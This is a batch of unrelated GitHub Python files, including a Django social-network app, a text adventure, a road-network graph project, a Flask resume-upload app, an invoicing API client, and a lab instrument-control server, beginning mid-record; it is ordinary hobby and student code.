'既にメッセージにはGoodしています。')\n return redirect(to='/sns')\n \n good_message.good_count += 1\n good_message.save()\n \n good = Good()\n good.owner = request.user\n good.message = good_message\n good.save()\n \n messages.success(request, 'メッセージにGoodしました。')\n return redirect(to='/sns')\n\ndef get_your_group_message(owner, glist, find):\n (public_user, public_group) = get_public()\n\n #ログインユーザーがチェックしたグループインスタンスを取得する\n check_groups = Group.objects.filter(Q(owner=owner) | Q(owner=public_user)) \\\n .filter(title__in=glist)\n \n check_friends = Friend.objects.filter(group__in=check_groups)\n check_users = []\n for friend in check_friends:\n check_users.append(friend.user)\n #選択したグループに所属するユーザーが保持するグループ \n target_users_groups = Group.objects.filter(owner__in=check_users)\n #ここで得られるFriendインスタンスは、チェックしたグループに所属するユーザーが、\n #ログインユーザーをメンバーに持つグループを取得するためのもの\n target_friends = Friend.objects.filter(group__in=target_users_groups) \\\n .filter(user=owner)\n\n # 表示したいユーザーが作成した、ログインユーザーが所属するグループ\n me_belong_groups = []\n for friend in target_friends:\n me_belong_groups.append(friend.group)\n \n if find==None:\n messages = Message.objects.filter(Q(group__in=me_belong_groups) \\\n |Q(group__in=check_groups))[:100]\n else:\n messages = Message.objects.filter(Q(group__in=me_belong_groups) \\\n |Q(group__in=check_groups)) \\\n .filter(content__contains=find)[:100]\n return messages\n \ndef get_public():\n public_user = User.objects.get(username='public')\n public_group = Group.objects.get(owner=public_user)\n return (public_user, public_group)\n\n#ユーザー登録処理\ndef signup(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect(to='/sns')\n else:\n form = SignUpForm()\n return render(request, 'sns/signup.html', {'form':form})\n\n#ログイン処理\ndef signin(request):\n if request.method == 'POST':\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user:\n login(request, user)\n return redirect(to='/sns')\n else:\n messages.info(request, 'ユーザー名/パスワードが正しくありません。')\n\n return render(request, 'sns/login.html')\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"akihisa2359/sns","sub_path":"sns/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42670112437","text":"import gamedata\nimport pictures\n\n\ndef get_next_state(state):\n \"\"\"Returnerar nästa state baserat på användarens input.\"\"\"\n \n succ_states = gamedata.ADVENTURE_TREE[state]\n \n if len(succ_states) == 1:\n return succ_states[0]\n\n options_text = \"{} {}\\n{} {}\".format(\"1\", gamedata.OPTIONS[succ_states[0]],\n \"2\", gamedata.OPTIONS[succ_states[1]])\n print(options_text)\n inp = input(\">> \")\n\n if inp == \"1\":\n return succ_states[0]\n elif inp == \"2\":\n return succ_states[1]\n\n\ndef main():\n \"\"\"Startar igång spelet. Innehåller spel-loopen.\"\"\"\n\n # Frågar efter spelarens namn.\n name = input(\"What's your name?\\n>> \")\n print(\"Welcome {} to the adventure of your life. Try to survive and find the \\\n treasure!\".format(name.upper()))\n\n current_state = \"Start\"\n\n # Tar sig igenom ADVENTURE_TREE tills en ändpunkt nås.\n while current_state != \"End\":\n succ_states = gamedata.ADVENTURE_TREE[current_state]\n description = gamedata.DESCRIPTIONS[current_state]\n pictures.print_pic(current_state)\n print(description)\n current_state = get_next_state(current_state)\n\n\nmain()\n","repo_name":"RubenAngelov/TDDE44","sub_path":"labb_4/del_2/adventure.py","file_name":"adventure.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8910273588","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Dec 21 04:20:58 2019\r\n\r\n@author: marco\r\n\"\"\"\r\n\r\n#imports\r\nimport gzip\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.basemap import Basemap\r\nimport math\r\nfrom bitarray import bitarray\r\nimport pandas as pd\r\nimport heapq\r\nimport func_1\r\nimport func_2\r\nimport func_3\r\nimport func_4\r\nimport sys\r\nsys.setrecursionlimit(100000)\r\n\r\n#Class for vertex object\r\nclass Vertex(object):\r\n \r\n #Constuctor of the object Node / istance Node\r\n def __init__(self, node_id, latitude, longitude): \r\n self.id = node_id \r\n self.latitude = latitude \r\n self.longitude = longitude \r\n self.connectedTo = {}\r\n self.previous = None\r\n \r\n #storing for each node its neighbours and \r\n #the relative weight\r\n def addNeighbor(self, nbr, weight = 0):\r\n self.connectedTo[nbr] = weight \r\n \r\n def __str__(self):\r\n return str(self.id) + ' connectedTo: ' + str([x.id for x in self.connectedTo]) \r\n \r\n #knowing the neighoburs of the node \r\n def getConnections(self):\r\n return list(self.connectedTo.keys()) \r\n \r\n #returning the id of a node\r\n def getId(self): \r\n return self.id\r\n #knowing the distance between \r\n #a node and the neighbour \r\n def getWeight(self, nbr): \r\n return self.connectedTo[nbr]\r\n \r\n #returning positions of a node\r\n def getPositions(self):\r\n return [self.latitude, self.longitude]\r\n\r\n#Classes representing the 3 Graphs:\r\n#Graph with Physical distances\r\nclass Graph_physical: \r\n def __init__(self):\r\n self.vertList = {} \r\n self.numVertices = 0 \r\n #Adding new vertex for the graph and mapping it\r\n #into the dictionary of the graph\r\n def addVertex(self, key, latitude, longitude):\r\n self.numVertices = self.numVertices + 1 \r\n newVertex = Vertex(key, latitude, longitude) \r\n self.vertList[key] = newVertex\r\n return newVertex \r\n \r\n #Obtatining lat e lot of all the nodes of the graph\r\n def getPositions(self):\r\n positions = []\r\n for n in self.vertList:\r\n node = self.vertList[n]\r\n pos = node.getPositions()\r\n positions.append(pos)\r\n return positions\r\n \r\n #Recalling the istance related to the key 'n' in vertList\r\n def getVertex(self, n):\r\n if n in self.vertList:\r\n return self.vertList[n] \r\n else:\r\n return None\r\n\r\n def __contains__(self, n):\r\n return n in self.vertList\r\n \r\n #Adding an edge between two nodes\r\n def addEdge(self, f, t, weight = 0):\r\n if f not in self.vertList:\r\n nv = self.addVertex(f)\r\n if t not in self.vertList:\r\n nv = self.addVertex(t)\r\n self.vertList[f].addNeighbor(self.vertList[t], weight)\r\n \r\n #obtaining all the vertices of the graph\r\n def getVertices(self):\r\n return self.vertList.keys() \r\n\r\n def __iter__(self):\r\n return iter(self.vertList.values())\r\n \r\n#2. Graph with time Distance\r\nclass Graph_time: \r\n def __init__(self):\r\n self.vertList = {} \r\n self.numVertices = 0 \r\n\r\n def addVertex(self, key, latitude, longitude):\r\n self.numVertices = self.numVertices + 1 \r\n newVertex = Vertex(key, latitude, longitude) \r\n self.vertList[key] = newVertex \r\n return newVertex \r\n\r\n def getVertex(self, n):\r\n if n in self.vertList:\r\n return self.vertList[n] \r\n else:\r\n return None\r\n\r\n def __contains__(self, n):\r\n return n in self.vertList\r\n\r\n def addEdge(self, f, t, weight=0):\r\n if f not in self.vertList:\r\n nv = self.addVertex(f)\r\n if t not in self.vertList:\r\n nv = self.addVertex(t)\r\n self.vertList[f].addNeighbor(self.vertList[t], weight)\r\n\r\n def getVertices(self):\r\n return self.vertList.keys() \r\n\r\n def __iter__(self):\r\n return iter(self.vertList.values())\r\n\r\n#Graph for network distance\r\nclass Graph_network: \r\n def __init__(self):\r\n self.vertList = {} \r\n self.numVertices = 0 \r\n\r\n def addVertex(self, key, latitude, longitude):\r\n self.numVertices = self.numVertices + 1 \r\n newVertex = Vertex(key, latitude, longitude) \r\n self.vertList[key] = newVertex \r\n return newVertex \r\n\r\n def getVertex(self, n):\r\n if n in self.vertList:\r\n return self.vertList[n] \r\n else:\r\n return None\r\n\r\n def __contains__(self, n):\r\n return n in self.vertList\r\n\r\n def addEdge(self, f, t, weight=0):\r\n if f not in self.vertList:\r\n nv = self.addVertex(f)\r\n if t not in self.vertList:\r\n nv = self.addVertex(t)\r\n self.vertList[f].addNeighbor(self.vertList[t], weight)\r\n\r\n def getVertices(self):\r\n return list(self.vertList.keys()) \r\n\r\n def __iter__(self):\r\n return iter(self.vertList.values())\r\n \r\n#cleaning coordinates file\r\ncoord_file = []\r\nf1 = gzip.open('USA-road-d.CAL.co.gz','rb')\r\ncoord_file = f1.readlines()\r\ncoord_file = coord_file[7:]\r\nfor i in range(len(coord_file)):\r\n coord_file[i] = str(coord_file[i])\r\n coord_file[i] = coord_file[i].replace(\"\\\\n\",'')\r\n coord_file[i] = coord_file[i].replace(\"'\",'')\r\n coord_file[i] = coord_file[i].split(' ')\r\n coord_file[i].remove(coord_file[i][0]) \r\n coord_file[i][1]= float((coord_file[i][1])[:4] + '.' + (coord_file[i][1])[4:]) \r\n coord_file[i][2]= float((coord_file[i][2])[:2] + '.' + (coord_file[i][2])[2:])\r\n\r\n#cleaning physical distance file \r\ndist_file = [] \r\nf2 = gzip.open('USA-road-d.CAL.gr.gz','rb')\r\ndist_file = f2.readlines()\r\ndist_file = dist_file[7:]\r\nfor i in range(len(dist_file)):\r\n dist_file[i] = str(dist_file[i])\r\n dist_file[i] = dist_file[i].replace(\"\\\\n\",'')\r\n dist_file[i] = dist_file[i].replace(\"'\",'')\r\n dist_file[i] = dist_file[i].split(' ')\r\nfor i in range(len(dist_file)):\r\n dist_file[i].remove(dist_file[i][0])\r\n \r\n \r\n#cleaning time distances file \r\ntime_file = [] \r\nf3 = gzip.open('USA-road-t.CAL.gr.gz','rb')\r\ntime_file = f3.readlines()\r\ntime_file = time_file[7:]\r\nfor i in range(len(time_file)):\r\n time_file[i] = str(time_file[i])\r\n time_file[i] = time_file[i].replace(\"\\\\n\",'')\r\n time_file[i] = time_file[i].replace(\"'\",'')\r\n time_file[i] = time_file[i].split(' ')\r\nfor i in range(len(time_file)):\r\n time_file[i].remove(time_file[i][0])\r\n\r\n\r\n#Creating the Graph with physical distances \r\nG_physical = Graph_physical()\r\nfor city in coord_file:\r\n G_physical.addVertex(city[0], city[1], city[2])\r\nfor link in dist_file:\r\n G_physical.addEdge(link[0], link[1], weight = link[2])\r\n\r\n\r\n#Creating the Graph with time distances\r\nG_time = Graph_time()\r\nfor city in coord_file:\r\n G_time.addVertex(city[0], city[1], city[2])\r\nfor link in time_file:\r\n G_time.addEdge(link[0], link[1], weight = link[2])\r\n\r\n#Creating the graph with network distances\r\nG_network = Graph_network()\r\nfor city in coord_file:\r\n G_network.addVertex(city[0], city[1], city[2])\r\nfor link in dist_file:\r\n G_network.addEdge(link[0], link[1], weight = 1)\r\n \r\n#taking all the longitudes and latitudes \r\nlat = []\r\nlon = []\r\nfor city in coord_file:\r\n lat.append(city[1])\r\n lon.append(city[2])\r\n\r\n#The four functions belows allow the user to choose\r\n#between physical, network and time distance \r\ndef choice_distance_1(): \r\n dist_choice = int(input('Choose between: \\n1.Physical distance; \\n2.Time distance; \\n3.Network distance. \\nYour choice: ', ))\r\n if dist_choice == 1:\r\n func_1.Function_1(G_physical, 'violet', lat, lon)\r\n elif dist_choice == 2:\r\n func_1.Function_1(G_time, 'white', lat, lon)\r\n elif dist_choice == 3:\r\n func_1.Function_1(G_network, 'azure', lat, lon)\r\n else:\r\n print('Please, enter a value between: 1 - 2 - 3')\r\n return choice_distance_1()\r\n \r\ndef choice_distance_2(): \r\n dist_choice = int(input('Choose between: \\n1.Physical distance; \\n2.Time distance; \\n3.Network distance. \\nYour choice: ', ))\r\n if dist_choice == 1:\r\n func_2.Function_2(G_physical)\r\n elif dist_choice == 2:\r\n func_2.Function_2(G_time)\r\n elif dist_choice == 3:\r\n func_2.Function_2(G_network)\r\n else:\r\n print('Please, enter a value between: 1 - 2 - 3')\r\n return choice_distance_2()\r\n \r\ndef choice_distance_3(): \r\n dist_choice = int(input('Choose between: \\n1.Physical distance; \\n2.Time distance; \\n3.Network distance. \\nYour choice: ', ))\r\n if dist_choice == 1:\r\n func_3.Function_3(G_physical, lat, lon)\r\n elif dist_choice == 2:\r\n func_3.Function_3(G_time, lat, lon)\r\n elif dist_choice == 3:\r\n func_3.Function_3(G_network, lat, lon)\r\n else:\r\n print('Please, enter a value between: 1 - 2 - 3')\r\n return choice_distance_3()\r\n\r\ndef choice_distance_4():\r\n dist_choice = int(input('Choose between: \\n1.Physical distance; \\n2.Time distance; \\n3.Network distance. \\nYour choice: ', ))\r\n if dist_choice == 1:\r\n func_4.Function_4(G_physical, lat, lon)\r\n elif dist_choice == 2:\r\n func_4.Function_4(G_time, lat, lon)\r\n elif dist_choice == 3:\r\n func_4.Function_4(G_network, lat, lon)\r\n else:\r\n print('Please, enter a value between: 1 - 2 - 3')\r\n return choice_distance_4()\r\n\r\n#This function allows the user to choose which function he wants to use\r\ndef Function_to_use():\r\n f_choice = int(input('Choose between: \\n1.Find the Neighbours!; \\n2.Find the smartest Network!; \\n3.Shortest Ordered Route; \\n4.Shortest Route. \\nYour choice: ', ))\r\n if f_choice == 1:\r\n return choice_distance_1()\r\n elif f_choice == 2:\r\n return choice_distance_2()\r\n elif f_choice == 3:\r\n return choice_distance_3()\r\n elif f_choice == 4:\r\n return choice_distance_4()\r\n else:\r\n print('Please, enter a value between: 1 - 2 - 3 - 4')\r\n return Function_to_use()","repo_name":"Marco-Colombi/Homework-5-ADM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37742583817","text":"from typing import Optional\nfrom pydantic import BaseModel, Field\n\n\nclass AppsModel(BaseModel):\n brand_id: str = Field(...)\n user_id: str = Field(...)\n bundle_id: str = Field(...)\n platform: str = Field(...)\n slack_integration: bool = False\n clickup_integration: bool = False\n jira_integration: bool = False\n\n class Config:\n allow_population_by_field_name = True\n schema_extra = {\n \"example\": {\n \"brand_id\": \"60a6c72d470fa98f64464cbc\",\n \"user_id\": \"60a57e1d1201f43c9c51c044\",\n \"bundle_id\": \"aaa.bbb.ccc.beta\",\n \"platform\": \"Android\",\n \"slack_integration\": False,\n \"clickup_integration\": False,\n \"jira_integration\": False,\n }\n }\n\n\nclass UpdateAppsModel(BaseModel):\n brand_id: Optional[str]\n user_id: Optional[str]\n bundle_id: Optional[str]\n platform: Optional[str]\n slack_integration: Optional[bool]\n clickup_integration: Optional[bool]\n jira_integration: Optional[bool]\n\n class Config:\n schema_extra = {\n \"example\": {\n \"brand_id\": \"60a6c72d470fa98f64464cbc\",\n \"user_id\": \"60a57e1d1201f43c9c51c044\",\n \"bundle_id\": \"aaa.bbb.ccc.beta\",\n \"platform\": \"Android\",\n \"slack_integration\": False,\n \"clickup_integration\": False,\n \"jira_integration\": False,\n }\n }\n","repo_name":"ertyurk/bugme-backend","sub_path":"app/models/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73393166826","text":"import os\nfrom flask import (Flask,session,flash, redirect, render_template, request, url_for, send_from_directory)\nimport csv\n\n\napp = Flask(__name__,template_folder=\"templates\")\napp.config.from_object(__name__) \n\napp.config['UPLOAD_FOLDER'] = 'Upload-Resume'\napp.config['UPLOAD_JD_FOLDER'] = 'Upload-JD'\n\n\ndef getfilepath(loc):\n temp = str(loc).split('\\\\')\n return temp[-1]\n\n\n# Route for handling the login page logic\n@app.route('/', methods=['GET', 'POST'])\ndef login():\n error = None\n if request.method == 'POST':\n print(request.form['username'])\n print(request.form['password'])\n if request.form['username'] != 'admin@gmail.com' or request.form['password'] != 'admin':\n error = 'Invalid Credentials. Please try again.'\n else:\n return redirect(url_for('index'))\n return render_template('Sign_in.html', error=error)\n\n\n@app.route(\"/index\")\ndef index():\n return render_template('index.html')\n\n@app.route(\"/candidate\")\ndef main():\n return render_template('candidate_resume.html')\n \n\n@app.route(\"/jobs\", methods=['GET', 'POST'])\ndef job():\n error = None\n x = os.listdir(app.config['UPLOAD_JD_FOLDER'])\n return render_template('jobs.html',name=x)\n\n\n@app.route(\"/checker\")\ndef ch():\n return render_template('resume_checker.html')\n\n@app.route(\"/res\")\ndef res1():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'Akhil.profile.pdf')\n\n@app.route(\"/res2\")\ndef res2():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'AnilAgarwal.pdf')\n\n@app.route(\"/res3\")\ndef res3():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'Dhruvi.pdf')\n\n@app.route(\"/res4\")\ndef res4():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'Jennifer M. Conte.pdf')\n\n@app.route(\"/res5\")\ndef res5():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'Akhil.profile.pdf')\n\n@app.route(\"/res6\")\ndef res6():\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/resume_files'\n return send_from_directory(filepath, 'Rajesh_k.pdf')\n\n@app.route(\"/JD\")\ndef JD():\n x = os.listdir(app.config['UPLOAD_FOLDER'])\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + '/JD_files'\n return render_template('jobs.html', name = x)\n #return send_from_directory(name = x)\n\n@app.route('/Upload-Resume/<path:filename>')\ndef custom_static(filename):\n print(filename)\n return send_from_directory('./Upload-JD', filename)\n\n# Upload files\n@app.route(\"/upload\", methods=['POST'])\ndef upload_file():\n Error = None\n if request.method=='POST':\n #upload Job Description\n if 'Jdfiles'in request.files:\n filelist = [ f for f in os.listdir(app.config['UPLOAD_JD_FOLDER']) ] \n x = os.listdir(app.config['UPLOAD_JD_FOLDER'])\n for f in request.files.getlist('Jdfiles'):\n if f.filename in x:\n Error = \"All Ready \"+f.filename +\" Existed\"\n else:\n f.save(os.path.join(app.config['UPLOAD_JD_FOLDER'], f.filename)) \n x = os.listdir(app.config['UPLOAD_JD_FOLDER'])\n return render_template('jobs.html', name = x)\n \n #upload Resume\n if 'Resumefiles' in request.files:\n filelist = [ f for f in os.listdir(app.config['UPLOAD_FOLDER']) ] \n x = os.listdir(app.config['UPLOAD_FOLDER'])\n for f in request.files.getlist('Resumefiles'):\n if f.filename in x:\n Error = \"All Ready \"+f.filename +\" Existed\"\n else:\n f.save(os.path.join(app.config['UPLOAD_FOLDER'], f.filename)) \n x = os.listdir(app.config['UPLOAD_FOLDER'])\n return render_template('candidate_resume.html',name = x)\n\"\"\" \n# Fetch data\ndef source_data():\n x = os.listdir(app.config['UPLOAD_FOLDER'])\n fields = ['Candidate', 'Name', 'Email', 'Phone no','Skills','Qualification','Experience','Company Name'] \n \n # name of csv file \n filename = \"records.csv\"\n workingdir = os.path.abspath(os.getcwd())\n filepath = workingdir + 'Results'\n # writing to csv file \n with open((os.path.join(filepath, filename)), 'w') as csvfile: \n # creating a csv writer object \n csvwriter = csv.writer(csvfile) \n\n # writing the fields \n csvwriter.writerow(fields) \n\n # writing the data rows \n #csvwriter.writerows(rows)\n df = pandas.read_csv((os.path.join(filepath, filename), index_col=False, header=0);\n serie = df.ix[0,:]\n print(serie) \n\"\"\" \nif __name__ == '__main__':\n app.run(debug=True ,use_reloader=False)","repo_name":"geet121/Resume-parser-subtas","sub_path":"Resume_Parser.py","file_name":"Resume_Parser.py","file_ext":"py","file_size_in_byte":5012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36829159508","text":"import http.client\nimport json\n\nconn = http.client.HTTPSConnection(\"https://backend-qa-api.facturafacil.com.pa/api\")\npayload = json.dumps({\n \"header\": {\n \"id\": 1,\n \"environment\": \"2\"\n },\n \"document\": {\n \"fd_number\": \"12\",\n \"receptor\": {\n \"type\": \"02\",\n \"name\": \"Nombre Cliente\",\n \"ruc_type\": \"1\",\n \"address\": \"Dirección Cliente\",\n \"email\": \"cliente@correo.com\",\n \"ruc\": \"123123123\"\n },\n \"items\": [\n {\n \"line\": 1,\n \"price\": 0.5,\n \"mu\": \"und\",\n \"quantity\": 1,\n \"description\": \"Producto de prueba\",\n \"taxes\": [\n {\n \"type\": \"01\",\n \"amount\": 0.035,\n \"code\": \"01\"\n }\n ],\n \"discount\": 0,\n \"internal_code\": \"123123\"\n }\n ],\n \"payments\": [\n {\n \"type\": \"99\",\n \"amount\": \"0.54\",\n \"description\": \"Medio de pago de prueba\"\n }\n ],\n \"type\": \"01\",\n \"info\": \"<string>\"\n }\n})\nheaders = {\n 'X-FF-Company': '[UUID DE FF]',\n 'X-FF-API-Key': '[KEY DE FF]',\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n}\nconn.request(\"POST\", \"/pac/reception_fe/detailed/\", payload, headers)\nres = conn.getresponse()\ndata = res.read()\nprint(data.decode(\"utf-8\"))\n","repo_name":"Factura-Facil/ejemplos","sub_path":"python http client.py","file_name":"python http client.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36744233514","text":"#!/usr/bin/python3\n# -*- coding: UTF-8 -*-\n\nfrom typing import List\nimport math\n\n\nclass Solution:\n def recursive(self, begin: int, end: int, result: int) -> int:\n if(end - begin <= 1):\n return begin\n mid = math.floor((begin + end) / 2)\n if mid*mid == result:\n return mid\n elif mid*mid < result:\n return self.recursive(mid, end, result)\n else:\n return self.recursive(begin, mid, result)\n\n def mySqrt(self, x: int) -> int:\n if x < 0:\n return -1\n if x == 0:\n return 0\n if x <= 3:\n return 1\n if x == 4 or x == 5:\n return 2\n end = math.floor(x / 2)\n return self.recursive(1, end, x)\n\n\ndef main():\n s = Solution()\n s.mySqrt(5)\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"HUSTWillHe/MyLeetCode","sub_path":"solutions/69_my_sqrt.py","file_name":"69_my_sqrt.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13404270884","text":"import datetime\n\nfrom apps.order.models import SalesOrder\n\n\ndef notify_pending_transaction():\n from ..models import SalesOrder\n from lib.sent_email import EmailHandler\n message_version = []\n email_content = {}\n\n for order in SalesOrder.objects.filter(invoice_status__in=['new', 'credit', 'payment_partial']):\n if order.transaction_set.all().exists():\n invoice_remaining_amount = order.invoice_remaining_amount\n invoice_pending_days = (datetime.datetime.today().date() - order.invoice_date.date()).days\n if invoice_pending_days >= 9 and invoice_remaining_amount != 0:\n # (datetime.datetime.today().date() - order.invoice_date.date()).days >= 9 and order.invoice_remaining_amount != 0:\n message = f\"User {order.dealer.first_name} has pending amount of {invoice_remaining_amount} under the order {order.invoice_id} for more than 30 days\"\n email_content['to'] = [{\"email\": order.dealer.email, \"name\": order.dealer.first_name},]\n email_content['htmlContent'] = f\"<!DOCTYPE html><html><body><h1>Pending orders!</h1><p>{message}</p></body></html>\"\n email_content['subject'] = \"You have pending Payments !\"\n\n if email_content not in message_version:\n message_version.append(email_content)\n # orders_list.append(order.invoice_id or order.id_as_text)\n subject = \"You have pending Payments !\"\n message = \"\"\n print(message, subject, message_version)\n\n print(\"\\n\")\n\n EmailHandler().email_for_bulk(message, subject, message_version)\n # EmailHandler().sent_email_now(message, subject, message_version)\n\n\ndef notify_pending_order():\n from apps.order.models import SalesOrder\n from lib.sent_email import EmailHandler\n from apps.user.models import User\n\n sent_mail = False\n message_version = []\n email_content = {}\n message = \"You have Pending orders !\"\n orders = {}\n # for user in User.objects.filter(user_role=32):\n orders_list = []\n recipient = []\n for order in SalesOrder.objects.filter(is_invoice=True):\n orders[order.dealer.email] = []\n if (datetime.datetime.today().date() - order.invoice_date.date()).days > 2 and order.invoice_remaining_amount != 0:\n orders[order.dealer.email].append(order.invoice_id)\n message = f\"Dear {order.dealer.first_name }, your orders {','.join(orders[order.dealer.email])} has been pending for more than 30 days \"\n # recipient.append(user.email)\n # email_content[user.email] = message\n email_content['to'] = [{\"email\": order.dealer.email, \"name\": order.dealer.first_name},]\n email_content['htmlContent'] = f\"<!DOCTYPE html><html><body><h1>Pending orders!</h1><p>{message}</p></body></html>\"\n email_content['subject'] = \"You have pending orders !\"\n if email_content not in message_version:\n message_version.append(email_content)\n # print(\"message_version\", message_version)\n\n '''\n email_content = {\n \"name\":\"message\"\n }\n '''\n\n message = ''\n subject = {}\n subject['subject'] = \"You have pending orders \"\n subject[\"subheadline\"] = \"You have pending orders for more than 30 days\"\n # receivers = [i['to']['email'] for i in message_version]\n # import pdb;pdb.set_trace()\n print(f\"message:{message}, subject:{subject}, message_version:{message_version}\")\n EmailHandler().email_for_bulk(message, subject, message_version)\n # EmailHandler().sent_email_now(message, subject, message_version)\n\n \"\"\"\n message_version = [\n # //Definition for Message Version 1\n {\n \"to\": [\n {\n \"email\": \"bob@example.com\",\n \"name\": \"Bob Anderson\"\n },\n ],\n \"htmlContent\": \"<!DOCTYPE html><html><body><h1>Modified header!</h1><p>This is still a paragraph</p></body></html>\",\n \"subject\": \"We are happy to be working with you\"\n },\n ]\n \"\"\"\n print(\"\\n\")\n","repo_name":"abhishekfegno/maxpolo_b2b","sub_path":"apps/order/cron/cron_tab.py","file_name":"cron_tab.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22112909256","text":"# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\n### BEGIN NODE INFO\n[info]\nname = RohdeSchwarz Server\nversion = 1.2\ndescription = \n\n[startup]\ncmdline = %PYTHON% %FILE%\ntimeout = 20\n\n[shutdown]\nmessage = 987654321\ntimeout = 5\n### END NODE INFO\n\"\"\"\n\nfrom labrad.server import setting\nfrom labrad.gpib import GPIBManagedServer, GPIBDeviceWrapper\nfrom twisted.internet.defer import inlineCallbacks, returnValue\n\nclass RSSMB100AWrapper(GPIBDeviceWrapper):\n @inlineCallbacks\n def initialize(self):\n self.frequency = yield self.getFrequency()\n self.amplitude = yield self.getAmplitude()\n self.output = yield self.getOutput()\n self.phase = None\n\n @inlineCallbacks\n def getFrequency(self):\n frequency = yield self.query('SOURce:FREQuency?').addCallback(float)\n self.frequency = frequency / 10.**6 #now in MHz\n returnValue(self.frequency)\n\n @inlineCallbacks\n def getAmplitude(self):\n self.amplitude = yield self.query('POWer?').addCallback(float)\n returnValue(self.amplitude)\n \n @inlineCallbacks\n def getOutput(self):\n state = yield self.query('OUTput:STATe?').addCallback(float)\n self.state = bool(state)\n returnValue(self.state)\n \n @inlineCallbacks\n def setFrequency(self, f):\n if self.frequency != f:\n yield self.write('SOURce:FREQuency {}MHZ'.format(float(f)))\n self.frequency = f\n \n @inlineCallbacks\n def setAmplitude(self, a):\n if self.amplitude != a:\n yield self.write('POWer {}'.format(float(a)))\n self.amplitude = a\n\n @inlineCallbacks\n def setOutput(self, out):\n if self.output != out:\n yield self.write('OUTput:STATe {}'.format(int(out)))\n self.output = out\n \n @inlineCallbacks\n def make_new_list(self, inputs, name):\n freqs,powers = zip(*inputs)\n freqString = \"SOURce1:LIST:FREQ\" + \"\".join([\" {} MHZ,\".format(freq) for freq in freqs])\n powerString = \"SOURce1:LIST:POW\" + \"\".join([\" {}dBm,\".format(pwr) for pwr in powers])\n #deleting the last comma\n freqString = freqString[:-1]\n powerString = powerString[:-1]\n yield self.write('SOURce1:LIST:SEL \"{}\"'.format(name))\n yield self.write(freqString)\n yield self.write(powerString)\n \n @inlineCallbacks\n def activate_list_mode(self, state):\n if state:\n yield self.write(\"SOURce1:LIST:MODE STEP\") #sets the step mode\n yield self.write(\"SOURce1:LIST:TRIGger:SOURce EXT\") #external triggering\n yield self.write(\"SOURce1:FREQuency:MODE LIST\") #activates step mode (output must be on)\n else:\n yield self.write(\"SOURce1:FREQuency:MODE CW\")\n \n @inlineCallbacks\n def reset_list(self):\n yield self.write(\"SOURce1:LIST:RES\")\n \n @inlineCallbacks\n def set_phase(self, phase):\n phase = round(phase, 1)\n if not -359.9<=phase<=359.9: raise Exception (\"Phase out of range\")\n yield self.write('SOURce:PHASe {}DEG'.format(phase))\n self.phase = phase\n \nclass RohdeSchwarzServer(GPIBManagedServer):\n \"\"\"Provides basic CW control for Rohde&Schwarz SMB100A RF Generators\"\"\"\n name = 'RohdeSchwarz Server'\n deviceName = 'Rohde&Schwarz SMB100A'\n deviceWrapper = RSSMB100AWrapper\n\n @setting(10, 'Frequency', f=['v[MHz]'], returns=['v[MHz]'])\n def frequency(self, c, f=None):\n \"\"\"Get or set the CW frequency.\"\"\"\n dev = self.selectedDevice(c)\n if f is not None:\n yield dev.setFrequency(f)\n returnValue(dev.frequency)\n\n @setting(11, 'Amplitude', a=['v[dBm]'], returns=['v[dBm]'])\n def amplitude(self, c, a=None):\n \"\"\"Get or set the CW amplitude.\"\"\"\n dev = self.selectedDevice(c)\n if a is not None:\n yield dev.setAmplitude(a)\n returnValue(dev.amplitude)\n\n @setting(12, 'Output', os=['b'], returns=['b'])\n def output_state(self, c, os=None):\n \"\"\"Get or set the output status.\"\"\"\n dev = self.selectedDevice(c)\n if os is not None:\n yield dev.setOutput(os)\n returnValue(dev.output)\n \n @setting(13,'Activate List Mode', state = 'b', returns = '')\n def activate_list(self, c, state):\n \"\"\"Activate the List 